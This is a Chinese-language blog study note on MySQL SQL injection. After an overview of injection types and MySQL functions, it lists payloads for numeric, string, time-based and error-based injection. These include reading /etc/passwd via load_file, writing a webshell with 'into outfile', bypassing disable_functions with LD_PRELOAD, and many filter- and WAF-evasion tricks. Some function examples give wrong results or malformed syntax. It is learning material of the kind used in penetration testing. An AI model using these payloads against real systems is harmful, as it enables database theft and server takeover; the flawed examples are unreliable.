SQl_INJECTION学习归纳-MYSQL知识归纳篇

文章目录

      • 1. 基础知识归纳
        • 1.1. 注入原理:
        • 1.2. 注入分类:
        • 1.3. 基础扫盲(MYSQL):
          • 1.3.1. Mysql 5.0 以下的数据库中没有**information_schema**这个系统表,无法列表名,只能暴力跑表名(information_schema是Mysql5.0版本以上自带的一个信息数据库。其保存着关于Mysql服务器上维护的其他数据库的信息,如数据库名、数据库的表名、列名、数据类型于访问权限等);
          • 1.3.2. Mysql 5.0 以下的数据库是**单用户操作**,以上版本是**多用户操作**。
          • 1.3.3. 特殊字符的URL编码:空格:%20, 双引号:%22,#号:%23,单引号:%27等
          • 1.3.4. magic_quotes_gpc(GPC转义函数):如果magic_quotes_gpc===On==,PHP解析器就会自动为从==get、post、cookie==传输过来的数据增加上转义字符反斜杠:==‘\’==,以确保这些数据不会引起程序,特别是数据库内的语句因为特殊字符(认为是php的字符)引起的污染(**在PHP5.3.0中已经废弃**)。
          • 1.3.5. PHP中"@"与"@@"的区别:
          • 1.3.6. and、or、xor:
          • 1.3.7. MySQL_SQL_INJECTION常用的函数:
          • 1.3.8. MySQL的生僻函数总结:
            • 1.3.8.1. *STRCMP('str1','str2')函数*:
            • 1.3.8.2. *REGEXP函数*:
            • 1.3.8.3. *LOWER('str')函数*:将大写转换为小写;
            • 1.3.8.4. *UPPER(str')函数*:将小写转换为大写;
            • 1.3.8.5. *LPAD('str1',length,'str2')函数*:
            • 1.3.8.6. *LTRIM('str')函数*:
            • 1.3.8.7. *MAKE_SET(bits,str1,str2,str3...)函数*:
            • 1.3.8.8. *LOCATE(substr,str),LOCATE(substr,str,pos)函数*:
            • 1.3.8.9. *MID()/SUBSTRING()函数*:
            • 1.3.8.10. *SUBSTRING_INDEX(str,delim,count)*:
            • 1.3.8.11. *TO_BASE64(str)函数* :**(mysql5.5.3没有这个函数)**
            • 1.3.8.12. *AES_ENCRYPT(str,key_str) AES_DECRYPT(str,key_str)加密解密函数*:
          • 1.3.9. **Mysql基本SQL使用语法**:
      • 2. SQL_INJECTION_Mysql注入技巧
        • 2.1. 测试用例
          • 2.1.1. 数字型注入:
          • 2.1.2. 字符型注入:
          • 2.1.3. 终止型注入;
          • 2.1.4. 时间型注入:
          • 2.1.5. 其他类型注入:
        • 2.2. 特殊技巧介绍
          • 2.2.1. mysql注入常用场景和使用函数:
          • 2.2.2. 开启GPC**后一些绕过姿势:
            • 2.2.2.1. 字符编码问题导致绕过:
            • 2.2.2.2. 编码解码导致的绕过:
            • 2.2.2.3. 一些特殊情况导致的绕过:
          • 2.2.3. 特殊绕过:
            • 2.2.3.1. 绕过空格过滤:
            • 2.2.3.2. 绕过union,select,where等关键字过滤:
            • 2.2.3.3. 绕过and、or、xor、not 过滤:
            • 2.2.3.4. 绕过小括号被过滤:
            • 2.2.3.5. 引号绕过:
            • 2.2.3.6. 绕过逗号过滤:
            • 2.2.3.7. union select 1,2 等同于:union select * from (select 1)a join (select 2)b
            • 2.2.3.8. select ascii(mid(user(),1,1))=80 ;等同于:select user() like 'r%';
            • 2.2.3.9. select * from news limit 0,1;等同于:select * from news limit 1 offset 0;
            • 2.2.3.10. 比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)(between a and b:返回a,b之间的数据,不包含b):
            • 2.2.3.11. '='绕过:
            • 2.2.3.12. 等价函数绕过:
          • 2.2.4. 写入shell
            • 2.2.4.1. 写shell的条件:
            • 2.2.4.2. 写入shell使用函数:
            • 2.2.4.3. 绕过disable_functions():
          • 2.2.5. 过WAF(Web Application Firewall)
            • 2.2.5.1. 使用特殊符号重复组合
            • 2.2.5.2. 利用容器特性
          • 2.2.6. 还在更新中。。。

1. 基础知识归纳

1.1. 注入原理:

将恶意SQL语句代码作为输入数据传递到服务器,然后它被拼接到SQL语句中交给数据库解析执行,导致执行一些恶意的操作。

1.2. 注入分类:

SQL注入
基础分类
数字型
字符型
搜索型
盲注分类
基于布尔
基于时间
基于报错
其他分类
堆查询注入
宽字节注入
二次注入
DNSLOG注入
位置分类
GET型注入
POST型注入
HTTP头注入
COOKIE注入

1.3. 基础扫盲(MYSQL):

1.3.1. Mysql 5.0 以下的数据库中没有information_schema这个系统表,无法列表名,只能暴力跑表名(information_schema是Mysql5.0版本以上自带的一个信息数据库。其保存着关于Mysql服务器上维护的其他数据库的信息,如数据库名、数据库的表名、列名、数据类型于访问权限等);
1.3.2. Mysql 5.0 以下的数据库是单用户操作,以上版本是多用户操作
1.3.3. 特殊字符的URL编码:空格:%20, 双引号:%22,#号:%23,单引号:%27等
1.3.4. magic_quotes_gpc(GPC转义函数):如果magic_quotes_gpc=On,PHP解析器就会自动为从get、post、cookie传输过来的数据增加上转义字符反斜杠:‘\’,以确保这些数据不会引起程序,特别是数据库内的语句因为特殊字符(认为是php的字符)引起的污染(在PHP5.3.0中已经废弃)。
1.3.5. PHP中"@“与”@@"的区别:

1、@为用户变量,使用SET @var1=1赋值;
2、@@ 为系统变量 ,包括查询全局变量:

> show global variables \G;

和查询会话变量:

> show session variables \G;
---------------------------------------------------------
> 或show variables;
1.3.6. and、or、xor:

(1)、条件1 and 条件2 ;当条件1成立执行条件2;
(2)、条件1 or 条件2 ;当条件1不成立执行条件2;
(3)、条件1 xor 条件2 ;当条件1不成立执行条件2;

1.3.7. MySQL_SQL_INJECTION常用的函数:
函数名 函数作用
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 服务器所在主机的操作系统版本
concat() concat(str1,str2,str3),返回str1+str2+str3,(当有一个字符串为NULL时,即返回NULL)
concat_ws() concat_ws(‘separato’;,str1,str2,str3),返回str1+separator+str2+separator+str3;EG concat_ws(’<>’,version(),database(),user())–>(XXX<>XXX<>XXX) (第一个参数(separato)指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null))
group_concat() group_concat(str1,str2,str3),返回str1+str2+str3 (group by产生的同一个分组中的值连接起来,返回一个字符串结果)
ascii()/ord() ascii(a)/ord(a)将a转换成其ASCII值
count() 计算结果集的数量
length() 返回指定字符串的长度;EG length(database())
left() left(a,b)从左往右截取字符串a的前b个字符
substr()/substring() substr(string,start,len)/substring(string,start,len) ,从string的start位开始截取len个字符
if() if(1,2,3),如果1为True,则执行2,否则执行3
sleep() sleep(x),执行延迟x秒
Benchmark() Benchmark(x,1),执行表达式1,x次 (会消耗CPU,慎用)
updatexml() UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称;第二个参数:XPath_string 是Xpath格式的字符串;第三个参数:new_value是String格式,替换查找到的符合条件的数据;EG updatexml(1,concat(0x23,database(),0x23),1)
extractvalue() extractvalue(xml_frag,xpath_expr); xml_frag: 目标xml文档;xpath_expr: 利用Xpath路径法表示的查找路径,;EG extractvalue(1,concat(x023,database(),0x23))
mid() mid(a,b,c)从位置b开始,截取a字符串的c位
floor(): 去除小数部分,向下取整数
rand() 产生0~1的随机数;rand(x): 每个X对应一个固定的值,但是如果连续多次执行会变化,但是可以预测;EG rand(0): 产生的序列是011011
1.3.8. MySQL的生僻函数总结:
1.3.8.1. STRCMP(‘str1’,‘str2’)函数

如果字符串相同,则STRCMP()返回0;如果第一个参数根据当前排序顺序小于第二个参数,则返回-1,否则返回1;
EG

> SELECT STRCMP('test','test');
  //返回‘0’;
------------------------------------------
> SELECT STRCMP('test1','test');
  //返回‘1’
-------------------------------------------
> SELECT STRCMP('test','test1');
  //返回‘-1’
1.3.8.2. REGEXP函数

像Php中的preg之类的函数,在Mysql中,如果只是简单的查询匹配使用like即可,但复杂的还是需要使用regexp正则函数;
mysql正则规则

模式 模式作用
^ 匹配字符串的开始
$ 匹配字符串的结尾
. 匹配任何单个字符
[…] 匹配在方括号内的任何字符列表
[^…] 匹配非列在方括号内的任何字符
* 匹配零个或多个前面的元素
+ 匹配前面的元素的一个或多个实例
{n} 匹配前面的元素的n个实例
{m,n} 匹配m到n个实例前面的元素
m|mn|n 匹配序列m或mn或n
(mn)* 匹配序列mn的0个或者多个实例

EG

> SELECT * FROM users WHERE username REGEXP '^a.+n$';
  //匹配查询结果的‘username’值中,以‘a’开头和以‘n’结尾的字符串;
---------------------------------------------------------
> SELECT * FROM users WHERE username REGEXP '[k]';
  //匹配查询结果的‘username’值中,含有‘k’的字符串
---------------------------------------------------------
> SELECT * FROM users WHERE username REGEXP 'Dum|my|kan';
  //匹配查询结果的‘username’值中,含有‘Dum’或‘my’或‘kan’的字符串
---------------------------------------------------------
> SELECT * FROM users WHERE username REGEXP 'm{2,3}';
  //匹配查询结果的‘username’值中,含有‘m’两个或三个的字符串
---------------------------------------------------------
> SELECT * FROM users WHERE username REGEXP '(man)+';
  //匹配查询结果的‘username’值中,含有‘man’一个或者多个的字符串
---------------------------------------------------------
1.3.8.3. LOWER(‘str’)函数:将大写转换为小写;

EG

> SELECT LOWER('TEST_test');
  //返回‘ test_test’
1.3.8.4. UPPER(str’)函数:将小写转换为大写;

EG

> SELECT UPPER('TEST_test');
  //返回‘TEST_TEST’
1.3.8.5. LPAD(‘str1’,length,‘str2’)函数

str1是一个字符串,length是函数返回结果字符串的长度,str2是一个填充字符串;如果str1的长度小于length,则使用str2填充;如果str1的长度大于length,则截断。
EG

> SELECT LPAD('TE_ST',5,'TE');
  //返回‘ TE_ST’;
---------------------------------------------------------
> SELECT LPAD('TE_ST_test',5,'TE');
  //返回‘TE_ST’;
1.3.8.6. LTRIM(‘str’)函数

返回删除了前面空格字符的字符串str(与之相反的函数是RTRIM(str):返回删除了后面空格字符的字符串str)。
EG

> SELECT LTRIM('   _TEST');
  //返回‘_TEST’
---------------------------------------------------------
> SELECT RTRIM('TEST_   ');
  //返回‘_TEST’
1.3.8.7. MAKE_SET(bits,str1,str2,str3…)函数

bits转换成二进制然后取到(如:1:0001->1000)返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串。str1对应第0位,str2对应第1位,依此类推。如果在str1,str1有NULL值,…那么不添加到结果
EG

> SELECT MAKE_SET(1,'str1','str2','str3','str4');
  //1:0001->1000,对应‘str1’,查询语句返回‘str1’;
---------------------------------------------------------
> SELECT MAKE_SET(5,'str1','str2','str3','str4');
  //9:0101->1010,对应‘str1’,‘str3’,查询语句返回‘str1’,‘str3’;
1.3.8.8. LOCATE(substr,str),LOCATE(substr,str,pos)函数

第一个语法返回字符串substr中第一次出现在字符串str的位置;第二种语法返回字符串substr中第一次出现在字符串str的位置,同时从位置pos开始,如果substr不在str中,则返回0。如果substr或str为NULL,则返回NULL。
EG

> SELECT LOCATE('test','TE_test_ST');
  //返回‘4’;
---------------------------------------------------------
> SELECT LOCATE('test','TE_test_ST',5);
  //返回‘0’
1.3.8.9. MID()/SUBSTRING()函数
  • MID(str,pos,len)是SUBSTRING(str,pos,len)的同义词(函数使用规则和作用一致;
  • SUBSTRING:
    SUBSTRING(str,pos),SUBSTRING(str FROM pos),
    SUBSTRING(STR,POS,LEN),SUBSTRING(str FROM pos FOR len)

没有len参数的表示从位置pos开始返回字符串str的子字符串。带有len参数的是从字符串str返回一个子字符串len个字符,从位置pos开始。使用FROM的是标准SQL语法;(也可以对pos使用负值。在这种情况下,子字符串的开头是字符串末尾的pos字符,而不是开头。在该函数的任何形式中,负值可以用于pos)
EG

> SELECT MID('TEST_test',3); 
  //返回‘ST_test’;
---------------------------------------------------------
> SELECT SUBSTRING('TEST_test',3);
  //返回‘ST_test’;
---------------------------------------------------------
> SELECT MID('TEST_test' FROM 3);
  //返回‘ST_test’;
---------------------------------------------------------
> SELECT SUBSTRING'TEST_test' FROM 3;
  //返回‘ST_test’;
---------------------------------------------------------
> SELECT MID('TEST_test',3,4);
  //返回‘ST_t’;
---------------------------------------------------------
> SELECT SUBSTRING('TEST_test',3,4);
  //返回‘ST_t’;
---------------------------------------------------------
> SELECT MID('TEST_test' FROM 3 FOR 4);
  //返回‘ST_t’;
---------------------------------------------------------
> SELECT SUBSTRING('TEST_test' FROM 3 FOR 4);
  //返回‘ST_t’;
---------------------------------------------------------
> SELECT MID('TEST_test' FROM -3 FOR 4);
  //返回‘est’;
---------------------------------------------------------
> SELECT SUBSTRING('TEST_test' FROM -3 FOR 4);
  //返回‘est’;
1.3.8.10. SUBSTRING_INDEX(str,delim,count):

如果count是正数,那么就是从左往右数,第N个分隔符的左边的全部内容相反,如果是负数,那么就是从右边开始数,第N个分隔符右边的所有内容;
EG

> SELECT SUBSTRING_INDEX('TEST_test_TEST_test','_',3);
  //返回‘TEST_test_TEST’;
---------------------------------------------------------
> SELECT SUBSTRING_INDEX('TEST_test_TEST_test','_',-3);
  //返回‘test_TEST_test’;
1.3.8.11. TO_BASE64(str)函数 :(mysql5.5.3没有这个函数)

将字符串str转换为base64编码:
EG

> SELECT TO_BASE64('TEST');
  //返回‘VEVTVA==’;
1.3.8.12. AES_ENCRYPT(str,key_str) AES_DECRYPT(str,key_str)加密解密函数

使用UNIX crypt()系统加密字符串,ENCRYPT()函数接收要加密的字符串和(可选的)用于加密过程的salt(一个可以唯一确定口令的字符串,就像钥匙一样)。加密程度比ENCODE较强;注意,windows上不支持
EG

> SELECT AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS");
  //返回‘’;
1.3.9. Mysql基本SQL使用语法

EG

> show databases; 
  //显示当前DBMS中的所有数据库名;
---------------------------------------------------------
> select schema_name from information_schema.schemata;
  //通过information_schema实现查询当前DBMS中的所有数据库名;
---------------------------------------------------------
> use database_name; 
  //进入具体的一个数据库中;
---------------------------------------------------------
> show tables; 
  //显示当前数据库中的所有表名;
---------------------------------------------------------
> desc admin_users; 
  //查询表的结构;
---------------------------------------------------------
> select username,password from test.admin_users;
  //查询test表'admin_users'列的具体字段;
---------------------------------------------------------
> select username,password from security.users limit 2,4;
  //从2+1开始查询4个字段;
---------------------------------------------------------
> select table_name from information_schema.tables where table_schema='security';
  //查询数据库'security'的中的表名;
---------------------------------------------------------

> select column_name from information_schema.columns where table_name='users';
  //查询数据库'security'中的'user'表的所有列名;
---------------------------------------------------------
> create table hack(id INT(3),NAME VARCHAR(25),age INT(3),PRIMARY KEY(id));
  //创建表;
---------------------------------------------------------
> INSERT into hack(id,NAME,age) VALUES(1,'admin',15);
  //插入数据;
---------------------------------------------------------
> SELECT * from hack;
  //查询数据;
---------------------------------------------------------
> UPDATE hack SET NAME='guest' WHERE id=1;
> UPDATE hack SET age=age+3 WHERE id=1;
  //更新数据;
---------------------------------------------------------
> DELETE from hack WHERE id=2;
  //删除数据;
---------------------------------------------------------
> drop database database_name;
  //删除某个数据库;
---------------------------------------------------------
> drop table table_name;
  //删除某个数据表;
---------------------------------------------------------
> alter table table_name drop column column_name;
  //删除某一列;
---------------------------------------------------------

2. SQL_INJECTION_Mysql注入技巧

2.1. 测试用例

2.1.1. 数字型注入:

EG

> '
---------------------------------------------------------
> 1+1 3-1
---------------------------------------------------------
> value + 0
---------------------------------------------------------
> 1 or 1=1 1) or (1=1
---------------------------------------------------------
> value or 1=2 value) or (1=1
---------------------------------------------------------
> 1 and 1=2 1) and (1=2
---------------------------------------------------------
> 1 or 'ab'='a'+'b' 1) or ('ab'='a'+'b'
---------------------------------------------------------
> 1 or 'ab'='a''b' 1) or ('ab'='a''b'
---------------------------------------------------------
> 1 or 'ab'='a'||'b' 1) or ('ab'='a'||'b'
---------------------------------------------------------
> 1 and 1=2 UNION SELECT
---------------------------------------------------------
> 1,load_file('/etc/passwd'),3,4,5,6,7,8
---------------------------------------------------------
> 1 and 1=2 union select
---------------------------------------------------------
> 1,version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 /*
2.1.2. 字符型注入:

EG

> '
---------------------------------------------------------
> 1' or '1'='1 1') or ('1'='1
---------------------------------------------------------
> value' or '1'='2 value') or ('1'='2
---------------------------------------------------------
> 1' and '1'='2 1') and ('1'='2
---------------------------------------------------------
> 1' or 'ab'='a'+'b' 1') or ('ab'='a'+'b
---------------------------------------------------------
> 1' or 'ab'='a''b 1') or ('ab'='a''b
---------------------------------------------------------
> 1' or 'ab'='a'||'b 1') or ('ab'='a'||'b
---------------------------------------------------------
> ' or 1=1/*
2.1.3. 终止型注入;

EG

> admin'-- admin')--
---------------------------------------------------------
> admin'# admin')#
---------------------------------------------------------
> 1-- 1)--
---------------------------------------------------------
> 1-- 1)--
---------------------------------------------------------
> 1 or 1=1-- 1) or 1=1--
---------------------------------------------------------
> 'or'1'='1'1-- ') or '1' = '1'--
---------------------------------------------------------
> -1 and 1=2-- -1) and 1=2--
---------------------------------------------------------
> 'and '1'='2'-- ') and '1'='2'--
---------------------------------------------------------
> 1/*注释*/
2.1.4. 时间型注入:

EG

> day=2010-07-22%27%29%3E0+and+1%3D2+or+1%3D2+or+1%3D1+and+datediff%28dd%2C%271111-9-9%27%2C%271111-11-19
---------------------------------------------------------
> day=2010-07-22%27%29%3E0+and+1%3D2+or+1%3D2+or+1%3D2+and+datediff%28dd%2C%271111-9-9%27%2C%271111-11-19
2.1.5. 其他类型注入:

EG

> id=1 and (select ascii(mid(user(),1,1))=49)
---------------------------------------------------------
> ' and 1=1 and '%25'='
---------------------------------------------------------
> " and 12=12 and "kn"="kn
---------------------------------------------------------
> " and 12=13 and "a"="a
---------------------------------------------------------
> type=creation_date; SELECT SLEEP(5)--
---------------------------------------------------------
> code=(select *from(select(ascii(mid(database()from(3)for(1)))=52 andsleep(5)))x)
---------------------------------------------------------
> orderby=rand(1=1)
---------------------------------------------------------
> orderby=rand(1=2)
---------------------------------------------------------
> 0'+AND+(SELECT+*+FROM+(SELECT(SLEEP(8)))a)+AND+'1'%3d'17178) AND (SELECT * FROM (SELECT(SLEEP(5)))PVdT) 
AND(2410=2410.html
---------------------------------------------------------
> +(selectconvert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(70)+CHAR(48)+CHAR(98)+CHAR(48)+CHAR(66)+CHAR(111)+CHAR(82)+CHAR(51)) FROMsyscolumns)+
---------------------------------------------------------
> c' AND (SELECT * FROM (SELECT(SLEEP(5)))jDPC) AND'NvIX'='NvIX
---------------------------------------------------------
> 1'and @@version>0--
---------------------------------------------------------
> 1 and @@servername>0--
---------------------------------------------------------
> 1' and db_name()>0--

2.2. 特殊技巧介绍

2.2.1. mysql注入常用场景和使用函数:
  • 布尔SQL盲注:left()、length、ascii()->[hex(),bin()]、mid()/substr()->[substing()]、regexp()、sleep()->[benchmark()]
  • 报错SQL盲注:floor(rand())、updatexml()、extractvalue() (有长度限制,最长32位,可以考虑使用mid()或者limit限制报错位数)、exp()(整形溢出爆错)、polygon();
    (极少数能用到的函数:polygon(),GeometryCollection()multipoint()multilinestring(),linestring(),multipolygon())
2.2.2. 开启GPC**后一些绕过姿势:

单引号被转义:

2.2.2.1. 字符编码问题导致绕过:
  • 设置数据库字符为gbk导致宽字节注入 //%df和%5c(\);
  • 使用icon和mb_convert_encoding转码函数导致宽字节注入;
2.2.2.2. 编码解码导致的绕过:
  • url解码导致绕过addslashes();
  • base64解码导致绕过addslashes();
  • json编码导致绕过addslashes()//json编码会把\转换为\\;
2.2.2.3. 一些特殊情况导致的绕过:
  • 没有使用引号保护字符串,直接无视addslashes();
  • 使用了stripslashes() //删除由 addslashes() 函数添加的反斜杠;
  • 字符替换导致的绕过addslashes() //先用addslashes()转义,再用str_replace替换反斜杠(/);
    防御方式:统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8;对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charse的使用
2.2.3. 特殊绕过:
2.2.3.1. 绕过空格过滤:

+,/**/,双重空格,回车换行符(%0a,%a0),宽字节(%df),圆括号,%09,%0a,%0b,%0c,%0d等;

2.2.3.2. 绕过union,select,where等关键字过滤:

大小写,双写关键字(uniounionn,unionunion),内联注释/*!union*/内联注释,编码;

2.2.3.3. 绕过and、or、xor、not 过滤:

&&,||,%26%26,|,!,大小写,双写关键字(anandd,andand),编码;

2.2.3.4. 绕过小括号被过滤:

使用正则匹配
EG:
regexp binary ‘^.*$’;
或者使用笛卡儿积
EG:
union select b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2;

2.2.3.5. 引号绕过:

(将引号中的值转换为十六进制)
EG:
select column_name from information_schema.tables where table_name=0x7573657273;

2.2.3.6. 绕过逗号过滤:

EG:
‘xor(select case when 2>1 then sleep(4) else 0 end limit 0 offset 1)or’
在使用盲注的时候,需要使用到mid(),substr(),limit函数。这些函数都需要使用到逗号。对于mid()和substr()函数可以使用from to的方式来替换:
EG:
select mid(database() from 1 for 1);
select substr(database() from 1 for 1);

2.2.3.7. union select 1,2 等同于:union select * from (select 1)a join (select 2)b
2.2.3.8. select ascii(mid(user(),1,1))=80 ;等同于:select user() like ‘r%’;
2.2.3.9. select * from news limit 0,1;等同于:select * from news limit 1 offset 0;
2.2.3.10. 比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)(between a and b:返回a,b之间的数据,不包含b):

EG:
select * from users where id=1 andascii(substr(database(),0,1))>64;等同于:select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;

2.2.3.11. '='绕过:

使用like 、rlike 、regexp 或者’<‘或者’>;

2.2.3.12. 等价函数绕过:

EG:

  • hex()、bin() --> ascii()
  • sleep() --> benchmark()
  • concat_ws() --> group_concat()
  • mid()、substr() --> substring()
  • @@user --> user()
  • @@datadir --> datadir()
  • substring()和substr()无法使用时: id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),
    1,1)))=74
    或者:
    substr((select ‘password’),1,1) = 0x70
    strcmp(left(‘password’,1), 0x69) = 1
    strcmp(left(‘password’,1), 0x70) = 0
    strcmp(left(‘password’,49 1), 0x71) = -1
2.2.4. 写入shell
2.2.4.1. 写shell的条件:
  • root权限
  • 目录读写权限
  • 网站的绝对路径
  • GPC配置关闭,能使用单引号
  • 没有配置secure-file-priv属性
2.2.4.2. 写入shell使用函数:
  • select ' into outfile ‘D:/shelltest.php’
  • dumpfile (outfile适合导库,在行末尾会写入新行并转义,所以不能写入二进制可执行文件。)
  • file_put_contents
2.2.4.3. 绕过disable_functions():
  • 黑名单
  • 用dl扩展执行命令
  • LD_PRELOAD 环境变量
    优先加载程序,实现函数劫持;
    选取一个合适的库函数,编制动态链接程序;
    通过 putenv 来设置 LD_PRELOAD,让我们的程序优先被调用;
    触发函数;
  • mageMagick组件的漏洞
    文件名第一个字符是‘|’的时候将之后的字串当成是命令执行;
2.2.5. 过WAF(Web Application Firewall)
2.2.5.1. 使用特殊符号重复组合

EG(注释):

> # 
--------------------------------------------------------
> --
--------------------------------------------------------
> -- - //5.6.12特性,需要加空格
--------------------------------------------------------
> --+
--------------------------------------------------------
> //
--------------------------------------------------------
> /**/ //c风格注释
--------------------------------------------------------
> /**//**/  //多个注释
--------------------------------------------------------
> /*letmetest*/
--------------------------------------------------------
> ;
--------------------------------------------------------
> /!00000union/       
//假如mysql版本号是5.6.17则00000/10000/../50000都可以用

EG(科学记数法):

> id=0e1union select

EG(空白字符):

> SQLite3 0A 0D 0C 09 20 
> MySQL5 09 0A 0B 0C 0D A0 20 
> PosgresSQL 0A 0D 0C 09 20 
> Oracle 11g 00 0A 0D 0C 09 20 
> MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

EG(回车换行):

2.2.5.2. 利用容器特性
  • iis+asp的环境可能会吞掉%(f%rom->from)造成注入;
  • iis支持unicode解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但waf可能不会拦截造成注入;
  • 畸形协议/请求
    asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式;
    php+apache解析协议除了get/post外随便定义协议也可能过,PHP解析multipart请求时以逗号作为边界;
  • 多次URL编码
    base64
    htmlencode
    unicode
    php serialize
  • HPP - http重复参数污染,id=1&id=2&id=3
  • 在POST请求中进行GET型注入
  • 输入超长数据包,构造垃圾数据
2.2.6. 还在更新中。。。

[如有错误,请指出,拜托了<( _ _ )> !!!]

[参考文档]
(从容:我的WafBypass之道(SQL注入篇)https://xz.aliyun.com/t/368)
(面试知识点总结:SQL注入 https://www.yuque.com/books/share/bd8433e2-3682-4bf9-bbf7-cb5070764079/ngrdcx)

你可能感兴趣的:(#,MYSQL注入学习,Mysql注入学习)